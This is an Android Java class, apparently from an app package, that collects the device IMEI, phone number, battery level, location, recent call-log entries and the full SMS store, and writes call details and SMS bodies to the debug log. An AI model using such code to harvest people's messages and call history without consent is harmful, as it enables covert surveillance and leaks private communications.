package it.codelair.getter;

import java.util.ArrayList;
import java.util.Date;

import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.database.Cursor;
import android.net.Uri;
import android.os.BatteryManager;
import android.telephony.TelephonyManager;
import android.util.Log;


public class Getter implements GetterInterface{
	private TelephonyManager status;
	private Context context;
	private Location location;

	
	/**
	 * 
	 * @param c context attuale applicazione
	 * @throws ClassCastException se viene rilevato un problema nel reperimento dei manager
	 */
	public Getter(Context c) throws ClassCastException{//se ci sono problemi con il context dovrebbe lanciare questa eccezione
		this.status=(TelephonyManager) c.getSystemService(Context.TELEPHONY_SERVICE);
		this.context=c;
		this.location=new Location(c);
	}
	
	public String getImei() {
		return this.status.getDeviceId();
	}

	public String getSIM() {
		return this.status.getLine1Number();
	}

	public int getBatteryStatus() {
		IntentFilter ifilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
		Intent batteryStatus = context.registerReceiver(null, ifilter);
		
		int level = batteryStatus.getIntExtra(BatteryManager.EXTRA_LEVEL, -1);
		int scale = batteryStatus.getIntExtra(BatteryManager.EXTRA_SCALE, -1);

		float batteryPct = (level / (float)scale)*100;
		return Math.round(batteryPct);
	}

	public Location getLocation() {
		return this.location;
	}

	public ArrayList<Calls> getCalls() {
		
		String[] strFields = {
		        android.provider.CallLog.Calls.NUMBER, 
		        android.provider.CallLog.Calls.TYPE,
		        android.provider.CallLog.Calls.CACHED_NAME,
		        android.provider.CallLog.Calls.DATE
		        };
		String strOrder = android.provider.CallLog.Calls.DATE + " DESC"; 
		 
		Cursor mCallCursor = this.context.getContentResolver().query(
		        android.provider.CallLog.Calls.CONTENT_URI,
		        strFields,
		        null,
		        null,
		        strOrder
		        );
		
		String number="";
		int type=-1;
		String name="";
		long date=0;
		ArrayList<Calls> list=new ArrayList<Calls>();
		if(mCallCursor.moveToFirst()){
			int i=0;
			 do{
				 try{
					 date=mCallCursor.getLong(mCallCursor.getColumnIndexOrThrow(android.provider.CallLog.Calls.DATE));
					 number=mCallCursor.getString(mCallCursor.getColumnIndexOrThrow(android.provider.CallLog.Calls.NUMBER));
					 type=mCallCursor.getInt(mCallCursor.getColumnIndexOrThrow(android.provider.CallLog.Calls.TYPE));
					 name=mCallCursor.getString(mCallCursor.getColumnIndexOrThrow(android.provider.CallLog.Calls.CACHED_NAME));
				
					 Log.d(this.getClass().getName(),"date: "+date+" number: "+number+" type: "+type+" name: "+name);
					 list.add(new Calls(name,number,type,date));
				 }catch(IllegalArgumentException e){
					 Log.e(this.getClass().getName(),"Illegal argument exception on retrieve calls #"+i);
				 }
				 i++;
			  } while (mCallCursor.moveToNext() && i<Getter.CALLS_LENGHT);
			 
		}
			 
		
		return list;
	}

	public ArrayList<Sms> getSms() {

		//Cursor cursor = this.context.getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, null);
		Cursor cursor = this.context.getContentResolver().query(Uri.parse("content://sms"), null, null, null, null);
		ArrayList<Sms> list=new ArrayList<Sms>();
		
		if(cursor.moveToFirst()){

			int i=0;
			do{

				String body = cursor.getString(cursor.getColumnIndexOrThrow("body")).toString();
				String number = cursor.getString(cursor.getColumnIndexOrThrow("address")).toString();
				String date = cursor.getString(cursor.getColumnIndexOrThrow("date")).toString();
				String type = cursor.getString(cursor.getColumnIndexOrThrow("type")).toString();
				Log.d("TEST SMS","Sender: "+number+" body: "+body+" date:"+new Date(Long.parseLong(date)).toString()+" type:"+type);
				list.add(new Sms(number,body,type,date));
				
				i++;  
			}while(cursor.moveToNext() && i<Getter.SMS_LENGHT);
		}
		
		return list;
	}

}
